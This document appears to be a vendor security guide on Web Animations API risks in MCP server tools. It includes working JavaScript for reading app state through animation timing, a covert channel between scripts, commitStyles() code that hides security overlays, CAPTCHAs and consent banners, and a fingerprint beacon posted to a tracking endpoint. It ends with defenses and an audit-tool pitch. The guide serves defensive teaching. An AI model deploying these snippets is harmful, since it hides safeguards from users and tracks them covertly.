Security Guide
MCP server Web Animations API security — animation timing oracle, DOM covert channel, commitStyles() CSS persistence, DocumentTimeline cross-session fingerprint
The Web Animations API — element.animate(), getAnimations(), Animation.currentTime, commitStyles() — is a powerful browser scheduling primitive for declarative motion. In MCP server tool contexts, it exposes four underappreciated attack surfaces: the playback position of existing animations encodes application state, animation timing can serve as a covert communication channel between co-located scripts, commitStyles() permanently bakes animated values into element.style after the animation ends, and the DocumentTimeline origin is a stable cross-session fingerprint. This page covers all four.
getAnimations().currentTime as application state oracle
Calling document.getAnimations() returns all Animation objects currently running on the page — including CSS transitions and CSS animations started by the application itself, not only those created by element.animate(). Each returned Animation object exposes a currentTime property: the number of milliseconds the animation has been playing. If the application encodes state as CSS animation timing — a progress bar animation whose playback position corresponds to a server-side progress value, a loading indicator whose animation-duration was set to a user-tier-specific value, or any CSS animation whose duration or delay was calculated from application data — an MCP tool can read that state by sampling getAnimations()[i].currentTime without any permission and without the application being aware it is being observed.
// Animation timing oracle — reads application state from CSS animation playback position
function readAnimationState() {
const animations = document.getAnimations();
const stateSignals = [];
for (const anim of animations) {
const el = anim.effect?.target;
if (!el) continue;
stateSignals.push({
elementId: el.id,
elementClass: el.className,
currentTimeMs: anim.currentTime, // playback position
durationMs: anim.effect?.getTiming()?.duration,
// progress ratio: currentTime / duration
// If duration was set to e.g. userTier * 1000ms, this reveals userTier
progressRatio: anim.currentTime / anim.effect?.getTiming()?.duration,
animationName: anim.animationName, // CSS animation-name (if CSS-originated)
playState: anim.playState
});
}
// Filter: find animations whose duration is suspiciously non-standard
// (not round numbers like 300ms, 500ms, 1000ms — likely encodes application data)
const dataBearingAnimations = stateSignals.filter(s =>
s.durationMs % 100 !== 0 // non-round duration → likely computed from data
);
return { all: stateSignals, suspicious: dataBearingAnimations };
}
// No permission required — getAnimations() is unrestricted on same-origin elements
console.log(readAnimationState());
getAnimations() reads all animations across the document. Applications that encode server-side state (progress, tier, feature flags) as CSS animation timing parameters inadvertently expose that state to any JavaScript executing in the same origin. MCP tool injection into a same-origin context has full read access to every running animation's playback position.
Animation-driven covert channel — communication without shared data
Two scripts executing in the same DOM can communicate via animation timing without any shared variable, SharedArrayBuffer, BroadcastChannel, or storage API. Script A encodes a value by starting an animation with a specific duration or by calling animation.currentTime = value on a shared element's animation. Script B reads the value by calling getAnimations() and reading currentTime on the target element. This covert channel is harder to detect than storage-based channels because it leaves no persistent trace — once the animation is cancelled, no record remains — and it is not monitored by standard data-loss-prevention tooling that watches localStorage, postMessage, or network activity.
// Animation covert channel — Script A writes, Script B reads
// No shared variables, no storage, no network — pure DOM timing
// === Script A (sender) ===
function encodeValueAsAnimation(element, value) {
// Encode value as animation duration: value * 10ms
// e.g., value=42 → duration=420ms
const encoding = value * 10;
// Start a paused animation on the element with duration encoding the value
const anim = element.animate([
{ opacity: 1 },
{ opacity: 0.99 } // nearly invisible change — visual cover
], {
duration: encoding,
fill: 'forwards',
iterations: Infinity
});
anim.pause(); // pause immediately — no visual effect, but animation exists in getAnimations()
}
const sharedEl = document.getElementById('status-indicator');
encodeValueAsAnimation(sharedEl, 42); // send value 42
// === Script B (receiver) ===
function decodeValueFromAnimation(element) {
const anims = element.getAnimations();
if (!anims.length) return null;
const duration = anims[0].effect.getTiming().duration;
return duration / 10; // reverse encoding
}
// Polling loop — no direct communication API needed
setInterval(() => {
const received = decodeValueFromAnimation(sharedEl);
if (received !== null) console.log('Received via animation channel:', received);
}, 100);
Animation covert channels bypass conventional communication monitoring. No network request, no storage write, no shared memory — the channel is invisible to CSP connect-src restrictions, localStorage watchers, and BroadcastChannel monitors. Detecting it requires inspecting the DOM's active animation set for unexpected paused animations on shared elements.
commitStyles() — attacker-controlled CSS values persisting after animation end
animation.commitStyles() copies the current animated CSS property values into the target element's inline style attribute, making them permanent — they persist after the animation ends, after the animation is cancelled, and even after the Animation object is garbage collected. If a MCP tool creates an animation that sets security-relevant CSS properties (pointer-events, z-index, visibility, clip-path, transform) and then calls commitStyles(), those values are baked into the element's inline style. The animation lifecycle has ended, but the effect remains. This bypasses animation-only CSP exceptions that restrict which CSS animations are permitted — the restriction applies to the animation, not to the committed inline style.
// commitStyles() attack — persist attacker CSS values after animation ends
function persistAttackerCSS(targetSelector) {
const el = document.querySelector(targetSelector);
if (!el) return;
// Animate a property that affects element interactability
const anim = el.animate([
{ pointerEvents: 'none', zIndex: '-9999', visibility: 'hidden' }
], {
duration: 1, // 1ms — fires instantly
fill: 'forwards' // hold end state
});
// commitStyles() after a tick — bakes values into el.style
anim.ready.then(() => {
anim.commitStyles();
anim.cancel(); // cancel the animation — committed values survive cancellation
// el.style.pointerEvents === 'none' → clicks pass through to elements below
// el.style.zIndex === '-9999' → element rendered behind everything
// el.style.visibility === 'hidden' → element invisible but still in layout
// These values persist until something explicitly overwrites el.style.*
// The animation itself no longer exists in getAnimations()
});
}
// Target: security overlay, CAPTCHA element, consent banner
persistAttackerCSS('#security-overlay');
persistAttackerCSS('.captcha-container');
persistAttackerCSS('[data-consent-modal]');
commitStyles() is irreversible without explicit style cleanup. Committed CSS values survive animation cancellation, element cloning, and serialization. Security overlays and consent elements hidden via committed animation styles remain hidden even after the animation is removed. Detection requires auditing element inline styles for unexpected values after animation completion.
DocumentTimeline.currentTime as cross-session navigation fingerprint
document.timeline.currentTime returns the number of milliseconds elapsed since the document's timeline origin — which is the document's creation time (approximately equal to performance.timeOrigin from the Navigation Timing API). Unlike Date.now(), this value is relative to the document creation timestamp, not the Unix epoch. Combined with performance.timeOrigin (which gives the absolute time of document creation relative to the Unix epoch), the pair produces a stable identifier: different page loads of the same URL will have different performance.timeOrigin values, but within a single page load, document.timeline.currentTime + performance.timeOrigin is constant. Collected across a browsing session, the sequence of performance.timeOrigin values for successive navigations creates a fingerprint of the user's navigation session — stable enough to link activity across origins that are navigated to from the same tab.
// DocumentTimeline.currentTime + performance.timeOrigin cross-session fingerprint
function getNavigationFingerprint() {
return {
// Absolute document creation time (milliseconds since Unix epoch)
pageLoadAbsoluteMs: performance.timeOrigin,
// Time elapsed in this document since creation
currentDocumentAgeMs: document.timeline.currentTime,
// Derived: absolute current time — equivalent to Date.now() but via two APIs
absoluteNowMs: performance.timeOrigin + document.timeline.currentTime,
// Cross-session stable: performance.timeOrigin is unique per page load
// Collecting this from multiple pages in a session links them without cookies
sessionLinkToken: Math.round(performance.timeOrigin).toString(36),
// Navigation precision: timeOrigin is typically accurate to 1ms
// Enough to distinguish rapid successive navigations in the same tab
};
}
// Send to tracking endpoint — no permission required
const fp = getNavigationFingerprint();
fetch('/track', {
method: 'POST',
body: JSON.stringify(fp),
keepalive: true
});
// Cross-origin use: if the same user navigates to two pages that both
// run this code, the sequence of performance.timeOrigin values (collected
// server-side) creates a timing fingerprint of their browsing session order
// without any shared cookies, storage, or identifiers.
DocumentTimeline.currentTime and performance.timeOrigin are available without permission. The combination creates a per-page-load timestamp that links successive navigations in a session. No storage is written, no permission is required, and no browser privacy control restricts access to these values.
| Attack | Mechanism | What it leaks | Defense |
|---|---|---|---|
| Animation timing oracle | document.getAnimations()[i].currentTime on CSS animations | Application state encoded in animation duration, delay, or playback position — progress, user tier, feature flags | Do not encode application state in CSS animation timing parameters; use data attributes or JavaScript variables instead |
| Animation covert channel | Script A writes animation duration; Script B reads via getAnimations() | Arbitrary values communicated between co-located scripts without shared memory, storage, or network | Monitor for paused animations on shared elements; restrict tool injection into sensitive DOM trees |
| commitStyles() CSS persistence | animation.commitStyles() bakes animated values into element.style | Security-relevant CSS properties (visibility, pointer-events, z-index) permanently modified after animation ends | Audit inline styles on security-critical elements post-animation; use CSS classes rather than inline styles for security overlays |
| DocumentTimeline fingerprint | performance.timeOrigin sequence across navigations | Cross-session navigation linkage; browsing session order without cookies or storage | Firefox rounds performance.timeOrigin to 1ms; Chrome does not. No Permissions-Policy control exists for these APIs |
SkillAudit findings for Web Animations API misuse
Audit your MCP server for Web Animations API risks
SkillAudit detects getAnimations() state harvesting, commitStyles() CSS injection, animation covert channel patterns, and DocumentTimeline fingerprinting. Paste a GitHub URL and get a graded security report in 60 seconds.
Run a free audit →